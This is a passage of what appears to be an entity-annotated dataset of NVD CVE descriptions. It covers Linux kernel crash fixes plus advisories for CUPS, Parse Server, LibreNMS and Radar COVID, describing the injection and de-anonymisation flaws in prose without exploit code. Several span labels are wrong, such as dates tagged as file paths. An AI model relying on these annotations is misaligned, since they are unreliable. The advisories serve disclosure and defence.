3451], [3481, 3487], [3529, 3535], [3587, 3593]], "FILEPATH: inode.c": [[3714, 3721], [3763, 3770]], "FILEPATH: namei.c": [[3894, 3901], [3933, 3940]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[644, 650], [651, 657], [673, 679], [701, 707]], "VULNERABILITY: use-after-free": [[406, 420]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38577"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm: fix use-after-free in dm_cleanup_zoned_dev()\n\ndm_cleanup_zoned_dev() uses queue, so it must be called\nbefore blk_cleanup_disk() starts its killing:\n\nblk_cleanup_disk->blk_cleanup_queue()->kobject_put()->blk_release_queue()->\n->...RCU...->blk_free_queue_rcu()->kmem_cache_free()\n\nOtherwise, RCU callback may be executed first and\ndm_cleanup_zoned_dev() will touch free'd memory:\n\n BUG: KASAN: use-after-free in dm_cleanup_zoned_dev+0x33/0xd0\n Read of size 8 at addr ffff88805ac6e430 by task dmsetup/681\n\n CPU: 4 PID: 681 Comm: dmsetup Not tainted 5.17.0-rc2+ #6\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014\n Call Trace:\n  <TASK>\n  dump_stack_lvl+0x57/0x7d\n  print_address_description.constprop.0+0x1f/0x150\n  ? dm_cleanup_zoned_dev+0x33/0xd0\n  kasan_report.cold+0x7f/0x11b\n  ? dm_cleanup_zoned_dev+0x33/0xd0\n  dm_cleanup_zoned_dev+0x33/0xd0\n  __dm_destroy+0x26a/0x400\n  ? dm_blk_ioctl+0x230/0x230\n  ? up_write+0xd8/0x270\n  dev_remove+0x156/0x1d0\n  ctl_ioctl+0x269/0x530\n  ? table_clear+0x140/0x140\n  ? lock_release+0xb2/0x750\n  ? remove_all+0x40/0x40\n  ? rcu_read_lock_sched_held+0x12/0x70\n  ? lock_downgrade+0x3c0/0x3c0\n  ? rcu_read_lock_sched_held+0x12/0x70\n  dm_ctl_ioctl+0xa/0x10\n  __x64_sys_ioctl+0xb9/0xf0\n  do_syscall_64+0x3b/0x90\n  entry_SYSCALL_64_after_hwframe+0x44/0xae\n RIP: 0033:0x7fb6dfa95c27", "spans": {"FILEPATH: /01/2014": [[706, 714]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[650, 654]], "VULNERABILITY: use-after-free": [[77, 91], [465, 479]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49270"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ravb: Fix missing rtnl lock in suspend/resume path\n\nFix the suspend/resume path by ensuring the rtnl lock is held where\nrequired. Calls to ravb_open, ravb_close and wol operations must be\nperformed under the rtnl lock to prevent conflicts with ongoing ndo\noperations.\n\nWithout this fix, the following warning is triggered:\n[   39.032969] =============================\n[   39.032983] WARNING: suspicious RCU usage\n[   39.033019] -----------------------------\n[   39.033033] drivers/net/phy/phy_device.c:2004 suspicious\nrcu_dereference_protected() usage!\n...\n[   39.033597] stack backtrace:\n[   39.033613] CPU: 0 UID: 0 PID: 174 Comm: python3 Not tainted\n6.13.0-rc7-next-20250116-arm64-renesas-00002-g35245dfdc62c #7\n[   39.033623] Hardware name: Renesas SMARC EVK version 2 based on\nr9a08g045s33 (DT)\n[   39.033628] Call trace:\n[   39.033633]  show_stack+0x14/0x1c (C)\n[   39.033652]  dump_stack_lvl+0xb4/0xc4\n[   39.033664]  dump_stack+0x14/0x1c\n[   39.033671]  lockdep_rcu_suspicious+0x16c/0x22c\n[   39.033682]  phy_detach+0x160/0x190\n[   39.033694]  phy_disconnect+0x40/0x54\n[   39.033703]  ravb_close+0x6c/0x1cc\n[   39.033714]  ravb_suspend+0x48/0x120\n[   39.033721]  dpm_run_callback+0x4c/0x14c\n[   39.033731]  device_suspend+0x11c/0x4dc\n[   39.033740]  dpm_suspend+0xdc/0x214\n[   39.033748]  dpm_suspend_start+0x48/0x60\n[   39.033758]  suspend_devices_and_enter+0x124/0x574\n[   39.033769]  pm_suspend+0x1ac/0x274\n[   39.033778]  state_store+0x88/0x124\n[   39.033788]  kobj_attr_store+0x14/0x24\n[   39.033798]  sysfs_kf_write+0x48/0x6c\n[   39.033808]  kernfs_fop_write_iter+0x118/0x1a8\n[   39.033817]  vfs_write+0x27c/0x378\n[   39.033825]  ksys_write+0x64/0xf4\n[   39.033833]  __arm64_sys_write+0x18/0x20\n[   39.033841]  invoke_syscall+0x44/0x104\n[   39.033852]  el0_svc_common.constprop.0+0xb4/0xd4\n[   39.033862]  do_el0_svc+0x18/0x20\n[   39.033870]  el0_svc+0x3c/0xf0\n[   39.033880]  el0t_64_sync_handler+0xc0/0xc4\n[   39.033888]  el0t_64_sync+0x154/0x158\n[   39.041274] ravb 11c30000.ethernet eth0: Link is Down", "spans": {"FILEPATH: /net/phy/phy_device.c": [[554, 575]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21801"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix race in nvmet_bio_done() leading to NULL pointer dereference\n\nThere is a race condition in nvmet_bio_done() that can cause a NULL\npointer dereference in blk_cgroup_bio_start():\n\n1. nvmet_bio_done() is called when a bio completes\n2. nvmet_req_complete() is called, which invokes req->ops->queue_response(req)\n3. The queue_response callback can re-queue and re-submit the same request\n4. The re-submission reuses the same inline_bio from nvmet_req\n5. Meanwhile, nvmet_req_bio_put() (called after nvmet_req_complete)\n   invokes bio_uninit() for inline_bio, which sets bio->bi_blkg to NULL\n6. The re-submitted bio enters submit_bio_noacct_nocheck()\n7. blk_cgroup_bio_start() dereferences bio->bi_blkg, causing a crash:\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000028\n  #PF: supervisor read access in kernel mode\n  RIP: 0010:blk_cgroup_bio_start+0x10/0xd0\n  Call Trace:\n   submit_bio_noacct_nocheck+0x44/0x250\n   nvmet_bdev_execute_rw+0x254/0x370 [nvmet]\n   process_one_work+0x193/0x3c0\n   worker_thread+0x281/0x3a0\n\nFix this by reordering nvmet_bio_done() to call nvmet_req_bio_put()\nBEFORE nvmet_req_complete(). This ensures the bio is cleaned up before\nthe request can be re-submitted, preventing the race condition.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[116, 140], [810, 834]], "VULNERABILITY: race condition": [[153, 167], [1298, 1312]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23148"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix assertion when building free space tree\n\nWhen building the free space tree with the block group tree feature\nenabled, we can hit an assertion failure like this:\n\n  BTRFS info (device loop0 state M): rebuilding free space tree\n  assertion failed: ret == 0, in fs/btrfs/free-space-tree.c:1102\n  ------------[ cut here ]------------\n  kernel BUG at fs/btrfs/free-space-tree.c:1102!\n  Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP\n  Modules linked in:\n  CPU: 1 UID: 0 PID: 6592 Comm: syz-executor322 Not tainted 6.15.0-rc7-syzkaller-gd7fa1af5b33e #0 PREEMPT\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\n  pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : populate_free_space_tree+0x514/0x518 fs/btrfs/free-space-tree.c:1102\n  lr : populate_free_space_tree+0x514/0x518 fs/btrfs/free-space-tree.c:1102\n  sp : ffff8000a4ce7600\n  x29: ffff8000a4ce76e0 x28: ffff0000c9bc6000 x27: ffff0000ddfff3d8\n  x26: ffff0000ddfff378 x25: dfff800000000000 x24: 0000000000000001\n  x23: ffff8000a4ce7660 x22: ffff70001499cecc x21: ffff0000e1d8c160\n  x20: ffff0000e1cb7800 x19: ffff0000e1d8c0b0 x18: 00000000ffffffff\n  x17: ffff800092f39000 x16: ffff80008ad27e48 x15: ffff700011e740c0\n  x14: 1ffff00011e740c0 x13: 0000000000000004 x12: ffffffffffffffff\n  x11: ffff700011e740c0 x10: 0000000000ff0100 x9 : 94ef24f55d2dbc00\n  x8 : 94ef24f55d2dbc00 x7 : 0000000000000001 x6 : 0000000000000001\n  x5 : ffff8000a4ce6f98 x4 : ffff80008f415ba0 x3 : ffff800080548ef0\n  x2 : 0000000000000000 x1 : 0000000100000000 x0 : 000000000000003e\n  Call trace:\n   populate_free_space_tree+0x514/0x518 fs/btrfs/free-space-tree.c:1102 (P)\n   btrfs_rebuild_free_space_tree+0x14c/0x54c fs/btrfs/free-space-tree.c:1337\n   btrfs_start_pre_rw_mount+0xa78/0xe10 fs/btrfs/disk-io.c:3074\n   btrfs_remount_rw fs/btrfs/super.c:1319 [inline]\n   btrfs_reconfigure+0x828/0x2418 fs/btrfs/super.c:1543\n   reconfigure_super+0x1d4/0x6f0 fs/super.c:1083\n   do_remount fs/namespace.c:3365 [inline]\n   path_mount+0xb34/0xde0 fs/namespace.c:4200\n   do_mount fs/namespace.c:4221 [inline]\n   __do_sys_mount fs/namespace.c:4432 [inline]\n   __se_sys_mount fs/namespace.c:4409 [inline]\n   __arm64_sys_mount+0x3e8/0x468 fs/namespace.c:4409\n   __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n   invoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:49\n   el0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:132\n   do_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:151\n   el0_svc+0x58/0x17c arch/arm64/kernel/entry-common.c:767\n   el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:786\n   el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:600\n  Code: f0047182 91178042 528089c3 9771d47b (d4210000)\n  ---[ end trace 0000000000000000 ]---\n\nThis happens because we are processing an empty block group, which has\nno extents allocated from it, there are no items for this block group,\nincluding the block group item since block group items are stored in a\ndedicated tree when using the block group tree feature. It also means\nthis is the block group with the highest start offset, so there are no\nhigher keys in the extent root, hence btrfs_search_slot_for_read()\nreturns 1 (no higher key found).\n\nFix this by asserting 'ret' is 0 only if the block group tree feature\nis not enabled, in which case we should find a block group item for\nthe block group since it's stored in the extent root and block group\nitem keys are greater than extent item keys (the value for\nBTRFS_BLOCK_GROUP_ITEM_KEY is 192 and for BTRFS_EXTENT_ITEM_KEY and\nBTRFS_METADATA_ITEM_KEY the values are 168 and 169 respectively).\nIn case 'ret' is 1, we just need to add a record to the free space\ntree which spans the whole block group, and we can achieve this by\nmaking 'ret == 0' as the while loop's condition.", "spans": {"FILEPATH: /btrfs/free-space-tree.c": [[341, 365], [428, 452], [847, 871], [923, 947], [1713, 1737], [1794, 1818]], "FILEPATH: /07/2025": [[726, 734]], "FILEPATH: /btrfs/disk-io.c": [[1866, 1882]], "FILEPATH: /btrfs/super.c": [[1910, 1924], [1975, 1989]], "FILEPATH: /arm64/kernel/syscall.c": [[2345, 2368], [2414, 2437], [2475, 2498], [2531, 2554]], "FILEPATH: /arm64/kernel/entry-common.c": [[2585, 2613], [2657, 2685]], "FILEPATH: /arm64/kernel/entry.S": [[2722, 2743]], "FILEPATH: super.c": [[2031, 2038]], "FILEPATH: namespace.c": [[2061, 2072], [2116, 2127], [2148, 2159], [2195, 2206], [2242, 2253], [2304, 2315]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[660, 666], [667, 673], [689, 695], [717, 723]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38503"}}
{"text": "Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and de-anonymization of COVID-19 positive users when using Radar COVID. The vulnerability is caused by the fact that Radar COVID connections to the server (uploading of TEKs to the backend) are only made by COVID-19 positives. Therefore, any on-path observer with the ability to monitor traffic between the app and the server can identify which users had a positive test. Such an adversary can be the mobile network operator (MNO) if the connection is done through a mobile network, the Internet Service Provider (ISP) if the connection is done through the Internet (e.g., a home network), a VPN provider used by the user, the local network operator in the case of enterprise networks, or any eavesdropper with access to the same network (WiFi or Ethernet) as the user as could be the case of public WiFi hotspots deployed at shopping centers, airports, hotels, and coffee shops. The attacker may also de-anonymize the user. For this additional stage to succeed, the adversary needs to correlate Radar COVID traffic to other identifiable information from the victim. This could be achieved by associating the connection to a contract with the name of the victim or by associating Radar COVID traffic to other user-generated flows containing identifiers in the clear (e.g., HTTP cookies or other mobile flows sending unique identifiers like the IMEI or the AAID without encryption). The former can be executed, for instance, by the Internet Service Provider or the MNO. The latter can be executed by any on-path adversary, such as the network provider or even the cloud provider that hosts more than one service accessed by the victim. The farther the adversary is either from the victim (the client) or the end-point (the server), the less likely it may be that the adversary has access to re-identification information. The vulnerability has been mitigated with the injection of dummy traffic from the application to the backend. Dummy traffic is generated by all users independently of whether they are COVID-19 positive or not. The issue was fixed in iOS in version 1.0.8 (uniform distribution), 1.1.0 (exponential distribution), Android in version 1.0.7 (uniform distribution), 1.1.0 (exponential distribution), Backend in version 1.1.2-RELEASE. For more information see the referenced GitHub Security Advisory.", "spans": {"SYSTEM: Android": [[2421, 2428]], "SYSTEM: iOS": [[2342, 2345]], "ORGANIZATION: GitHub": [[2578, 2584]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26230"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.4 and 8.6.30, an attacker can upload a file with a file extension or content type that is not blocked by the default configuration of the Parse Server fileUpload.fileExtensions option. The file can contain malicious code, for example JavaScript in an SVG or XHTML file. When the file is accessed via its URL, the browser renders the file and executes the malicious code in the context of the Parse Server domain. This is a stored Cross-Site Scripting (XSS) vulnerability that can be exploited to steal session tokens, redirect users, or perform actions on behalf of other users. Affected file extensions and content types include .svgz, .xht, .xml, .xsl, .xslt, and content types application/xhtml+xml and application/xslt+xml for extensionless uploads. Uploading of .html, .htm, .shtml, .xhtml, and .svg files was already blocked. This vulnerability is fixed in 9.6.0-alpha.4 and 8.6.30.", "spans": {"FILEPATH: Node.js": [[95, 102]], "VULNERABILITY: Cross-Site Scripting": [[555, 575]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31868"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: fix kernel panic caused by race of smc_sock\n\nA crash occurs when smc_cdc_tx_handler() tries to access smc_sock\nbut smc_release() has already freed it.\n\n[ 4570.695099] BUG: unable to handle page fault for address: 000000002eae9e88\n[ 4570.696048] #PF: supervisor write access in kernel mode\n[ 4570.696728] #PF: error_code(0x0002) - not-present page\n[ 4570.697401] PGD 0 P4D 0\n[ 4570.697716] Oops: 0002 [#1] PREEMPT SMP NOPTI\n[ 4570.698228] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.16.0-rc4+ #111\n[ 4570.699013] Hardware name: Alibaba Cloud Alibaba Cloud ECS, BIOS 8c24b4c 04/0\n[ 4570.699933] RIP: 0010:_raw_spin_lock+0x1a/0x30\n<...>\n[ 4570.711446] Call Trace:\n[ 4570.711746]  <IRQ>\n[ 4570.711992]  smc_cdc_tx_handler+0x41/0xc0\n[ 4570.712470]  smc_wr_tx_tasklet_fn+0x213/0x560\n[ 4570.712981]  ? smc_cdc_tx_dismisser+0x10/0x10\n[ 4570.713489]  tasklet_action_common.isra.17+0x66/0x140\n[ 4570.714083]  __do_softirq+0x123/0x2f4\n[ 4570.714521]  irq_exit_rcu+0xc4/0xf0\n[ 4570.714934]  common_interrupt+0xba/0xe0\n\nThough smc_cdc_tx_handler() checked the existence of smc connection,\nsmc_release() may have already dismissed and released the smc socket\nbefore smc_cdc_tx_handler() further visits it.\n\nsmc_cdc_tx_handler()           |smc_release()\nif (!conn)                     |\n                               |\n                               |smc_cdc_tx_dismiss_slots()\n                               |      smc_cdc_tx_dismisser()\n                               |\n                               |sock_put(&smc->sk) <- last sock_put,\n                               |                      smc_sock freed\nbh_lock_sock(&smc->sk) (panic) |\n\nTo make sure we won't receive any CDC messages after we free the\nsmc_sock, add a refcount on the smc_connection for inflight CDC\nmessage(posted to the QP but haven't received related CQE), and\ndon't release the smc_connection until all the inflight CDC messages\nhaven been done, for both success or failed ones.\n\nUsing refcount on CDC messages brings another problem: when the link\nis going to be destroyed, smcr_link_clear() will reset the QP, which\nthen remove all the pending CQEs related to the QP in the CQ. To make\nsure all the CQEs will always come back so the refcount on the\nsmc_connection can always reach 0, smc_ib_modify_qp_reset() was replaced\nby smc_ib_modify_qp_error().\nAnd remove the timeout in smc_wr_tx_wait_no_pending_sends() since we\nneed to wait for all pending WQEs done, or we may encounter use-after-\nfree when handling CQEs.\n\nFor IB device removal routine, we need to wait for all the QPs on that\ndevice been destroyed before we can destroy CQs on the device, or\nthe refcount on smc_connection won't reach 0 and smc_sock cannot be\nreleased.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46925"}}
{"text": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, in a network-exposed cupsd with a shared target queue, an unauthorized client can send a Print-Job to that shared PostScript queue without authentication. The server accepts a page-border value supplied as textWithoutLanguage, preserves an embedded newline through option escaping and reparse, and then reparses the resulting second-line PPD: text as a trusted scheduler control record. A follow-up raw print job can therefore make the server execute an attacker-chosen existing binary such as /usr/bin/vim as lp. At time of publication, there are no publicly available patches.", "spans": {"FILEPATH: /usr/bin/vim": [[625, 637]], "SYSTEM: Linux": [[56, 61]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34980"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nuio_hv_generic: Let userspace take care of interrupt mask\n\nRemove the logic to set interrupt mask by default in uio_hv_generic\ndriver as the interrupt mask value is supposed to be controlled\ncompletely by the user space. If the mask bit gets changed\nby the driver, concurrently with user mode operating on the ring,\nthe mask bit may be set when it is supposed to be clear, and the\nuser-mode driver will miss an interrupt which will cause a hang.\n\nFor eg- when the driver sets inbound ring buffer interrupt mask to 1,\nthe host does not interrupt the guest on the UIO VMBus channel.\nHowever, setting the mask does not prevent the host from putting a\nmessage in the inbound ring buffer. So let’s assume that happens,\nthe host puts a message into the ring buffer but does not interrupt.\n\nSubsequently, the user space code in the guest sets the inbound ring\nbuffer interrupt mask to 0, saying “Hey, I’m ready for interrupts”.\nUser space code then calls pread() to wait for an interrupt.\nThen one of two things happens:\n\n* The host never sends another message. So the pread() waits forever.\n* The host does send another message. But because there’s already a\n  message in the ring buffer, it doesn’t generate an interrupt.\n  This is the correct behavior, because the host should only send an\n  interrupt when the inbound ring buffer transitions from empty to\n  not-empty. Adding an additional message to a ring buffer that is not\n  empty is not supposed to generate an interrupt on the guest.\n  Since the guest is waiting in pread() and not removing messages from\n  the ring buffer, the pread() waits forever.\n\nThis could be easily reproduced in hv_fcopy_uio_daemon if we delay\nsetting interrupt mask to 0.\n\nSimilarly if hv_uio_channel_cb() sets the interrupt_mask to 1,\nthere’s a race condition. Once user space empties the inbound ring\nbuffer, but before user space sets interrupt_mask to 0, the host could\nput another message in the ring buffer but it wouldn’t interrupt.\nThen the next pread() would hang.\n\nFix these by removing all instances where interrupt_mask is changed,\nwhile keeping the one in set_event() unchanged to enable userspace\ncontrol the interrupt mask by writing 0/1 to /dev/uioX.", "spans": {"FILEPATH: /dev/uioX.": [[2254, 2264]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[1844, 1858]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40048"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsit: do not call ipip6_dev_free() from sit_init_net()\n\nipip6_dev_free is sit dev->priv_destructor, already called\nby register_netdevice() if something goes wrong.\n\nAlternative would be to make ipip6_dev_free() robust against\nmultiple invocations, but other drivers do not implement this\nstrategy.\n\nsyzbot reported:\n\ndst_release underflow\nWARNING: CPU: 0 PID: 5059 at net/core/dst.c:173 dst_release+0xd8/0xe0 net/core/dst.c:173\nModules linked in:\nCPU: 1 PID: 5059 Comm: syz-executor.4 Not tainted 5.16.0-rc5-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nRIP: 0010:dst_release+0xd8/0xe0 net/core/dst.c:173\nCode: 4c 89 f2 89 d9 31 c0 5b 41 5e 5d e9 da d5 44 f9 e8 1d 90 5f f9 c6 05 87 48 c6 05 01 48 c7 c7 80 44 99 8b 31 c0 e8 e8 67 29 f9 <0f> 0b eb 85 0f 1f 40 00 53 48 89 fb e8 f7 8f 5f f9 48 83 c3 a8 48\nRSP: 0018:ffffc9000aa5faa0 EFLAGS: 00010246\nRAX: d6894a925dd15a00 RBX: 00000000ffffffff RCX: 0000000000040000\nRDX: ffffc90005e19000 RSI: 000000000003ffff RDI: 0000000000040000\nRBP: 0000000000000000 R08: ffffffff816a1f42 R09: ffffed1017344f2c\nR10: ffffed1017344f2c R11: 0000000000000000 R12: 0000607f462b1358\nR13: 1ffffffff1bfd305 R14: ffffe8ffffcb1358 R15: dffffc0000000000\nFS:  00007f66c71a2700(0000) GS:ffff8880b9a00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f88aaed5058 CR3: 0000000023e0f000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n dst_cache_destroy+0x107/0x1e0 net/core/dst_cache.c:160\n ipip6_dev_free net/ipv6/sit.c:1414 [inline]\n sit_init_net+0x229/0x550 net/ipv6/sit.c:1936\n ops_init+0x313/0x430 net/core/net_namespace.c:140\n setup_net+0x35b/0x9d0 net/core/net_namespace.c:326\n copy_net_ns+0x359/0x5c0 net/core/net_namespace.c:470\n create_new_namespaces+0x4ce/0xa00 kernel/nsproxy.c:110\n unshare_nsproxy_namespaces+0x11e/0x180 kernel/nsproxy.c:226\n ksys_unshare+0x57d/0xb50 kernel/fork.c:3075\n __do_sys_unshare kernel/fork.c:3146 [inline]\n __se_sys_unshare kernel/fork.c:3144 [inline]\n __x64_sys_unshare+0x34/0x40 kernel/fork.c:3144\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x44/0xd0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7f66c882ce99\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f66c71a2168 EFLAGS: 00000246 ORIG_RAX: 0000000000000110\nRAX: ffffffffffffffda RBX: 00007f66c893ff60 RCX: 00007f66c882ce99\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000048040200\nRBP: 00007f66c8886ff1 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fff6634832f R14: 00007f66c71a2300 R15: 0000000000022000\n </TASK>", "spans": {"FILEPATH: /core/dst.c": [[439, 450], [480, 491], [714, 725]], "FILEPATH: /01/2011": [[670, 678]], "FILEPATH: /core/dst_cache.c": [[1683, 1700]], "FILEPATH: /ipv6/sit.c": [[1724, 1735], [1779, 1790]], "FILEPATH: /core/net_namespace.c": [[1821, 1842], [1873, 1894], [1927, 1948]], "FILEPATH: /x86/entry/common.c": [[2275, 2294], [2336, 2355]], "FILEPATH: nsproxy.c": [[1995, 2004], [2056, 2065]], "FILEPATH: fork.c": [[2103, 2109], [2140, 2146], [2186, 2192], [2243, 2249]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[604, 610], [611, 617], [633, 639], [661, 667]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47588"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: core: check uartclk for zero to avoid divide by zero\n\nCalling ioctl TIOCSSERIAL with an invalid baud_base can\nresult in uartclk being zero, which will result in a\ndivide by zero error in uart_get_divisor(). The check for\nuartclk being zero in uart_set_info() needs to be done\nbefore other settings are made as subsequent calls to\nioctl TIOCSSERIAL for the same port would be impacted if\nthe uartclk check was done where uartclk gets set.\n\nOops: divide error: 0000  PREEMPT SMP KASAN PTI\nRIP: 0010:uart_get_divisor (drivers/tty/serial/serial_core.c:580)\nCall Trace:\n <TASK>\nserial8250_get_divisor (drivers/tty/serial/8250/8250_port.c:2576\n    drivers/tty/serial/8250/8250_port.c:2589)\nserial8250_do_set_termios (drivers/tty/serial/8250/8250_port.c:502\n    drivers/tty/serial/8250/8250_port.c:2741)\nserial8250_set_termios (drivers/tty/serial/8250/8250_port.c:2862)\nuart_change_line_settings (./include/linux/spinlock.h:376\n    ./include/linux/serial_core.h:608 drivers/tty/serial/serial_core.c:222)\nuart_port_startup (drivers/tty/serial/serial_core.c:342)\nuart_startup (drivers/tty/serial/serial_core.c:368)\nuart_set_info (drivers/tty/serial/serial_core.c:1034)\nuart_set_info_user (drivers/tty/serial/serial_core.c:1059)\ntty_set_serial (drivers/tty/tty_io.c:2637)\ntty_ioctl (drivers/tty/tty_io.c:2647 drivers/tty/tty_io.c:2791)\n__x64_sys_ioctl (fs/ioctl.c:52 fs/ioctl.c:907\n    fs/ioctl.c:893 fs/ioctl.c:893)\ndo_syscall_64 (arch/x86/entry/common.c:52\n    (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))\nentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\nRule: add", "spans": {"FILEPATH: /tty/serial/serial_core.c": [[599, 624], [1043, 1068], [1100, 1125], [1152, 1177], [1205, 1230], [1264, 1289]], "FILEPATH: /tty/serial/8250/8250_port.c": [[681, 709], [726, 754], [795, 823], [839, 867], [905, 933]], "FILEPATH: /include/linux/spinlock.h": [[968, 993]], "FILEPATH: /include/linux/serial_core.h": [[1003, 1031]], "FILEPATH: /tty/tty_io.c": [[1319, 1332], [1357, 1370], [1383, 1396]], "FILEPATH: /x86/entry/common.c": [[1503, 1522], [1552, 1571]], "FILEPATH: /x86/entry/entry_64.S": [[1630, 1651]], "FILEPATH: ioctl.c": [[1423, 1430], [1437, 1444], [1456, 1463], [1471, 1478]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43893"}}
{"text": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below contain an SQL Injection vulnerability in the ajax_table.php endpoint. The application fails to properly sanitize or parameterize user input when processing IPv6 address searches. Specifically, the address parameter is split into an address and a prefix, and the prefix portion is directly concatenated into the SQL query string without validation. This allows an attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access or database manipulation. This issue has been fixed in version 26.2.0.", "spans": {"FILEPATH: /MySQL/SNMP": [[35, 46]], "FILEPATH: ajax_table.php": [[151, 165]], "SYSTEM: PHP": [[32, 35]], "VULNERABILITY: SQL Injection": [[116, 129]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26988"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: fix reference leak\n\nCommit 20d72b00ca81 (\"netfs: Fix the request's work item to not\nrequire a ref\") modified netfs_alloc_request() to initialize the\nreference counter to 2 instead of 1.  The rationale was that the\nrequet's \"work\" would release the second reference after completion\n(via netfs_{read,write}_collection_worker()).  That works most of the\ntime if all goes well.\n\nHowever, it leaks this additional reference if the request is released\nbefore the I/O operation has been submitted: the error code path only\ndecrements the reference counter once and the work item will never be\nqueued because there will never be a completion.\n\nThis has caused outages of our whole server cluster today because\ntasks were blocked in netfs_wait_for_outstanding_io(), leading to\ndeadlocks in Ceph (another bug that I will address soon in another\npatch).  This was caused by a netfs_pgpriv2_begin_copy_to_cache() call\nwhich failed in fscache_begin_write_operation().  The leaked\nnetfs_io_request was never completed, leaving `netfs_inode.io_count`\nwith a positive value forever.\n\nAll of this is super-fragile code.  Finding out which code paths will\nlead to an eventual completion and which do not is hard to see:\n\n- Some functions like netfs_create_write_req() allocate a request, but\n  will never submit any I/O.\n\n- netfs_unbuffered_read_iter_locked() calls netfs_unbuffered_read()\n  and then netfs_put_request(); however, netfs_unbuffered_read() can\n  also fail early before submitting the I/O request, therefore another\n  netfs_put_request() call must be added there.\n\nA rule of thumb is that functions that return a `netfs_io_request` do\nnot submit I/O, and all of their callers must be checked.\n\nFor my taste, the whole netfs code needs an overhaul to make reference\ncounting easier to understand and less fragile & obscure.  But to fix\nthis bug here and now and produce a patch that is adequate for a\nstable backport, I tried a minimal approach that quickly frees the\nrequest object upon early failure.\n\nI decided against adding a second netfs_put_request() each time\nbecause that would cause code duplication which obscures the code\nfurther.  Instead, I added the function netfs_put_failed_request()\nwhich frees such a failed request synchronously under the assumption\nthat the reference count is exactly 2 (as initially set by\nnetfs_alloc_request() and never touched), verified by a\nWARN_ON_ONCE().  It then deinitializes the request object (without\ngoing through the \"cleanup_work\" indirection) and frees the allocation\n(with RCU protection to protect against concurrent access by\nnetfs_requests_seq_start()).\n\nAll code paths that fail early have been changed to call\nnetfs_put_failed_request() instead of netfs_put_request().\nAdditionally, I have added a netfs_put_request() call to\nnetfs_unbuffered_read() as explained above because the\nnetfs_put_failed_request() approach does not work there.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", 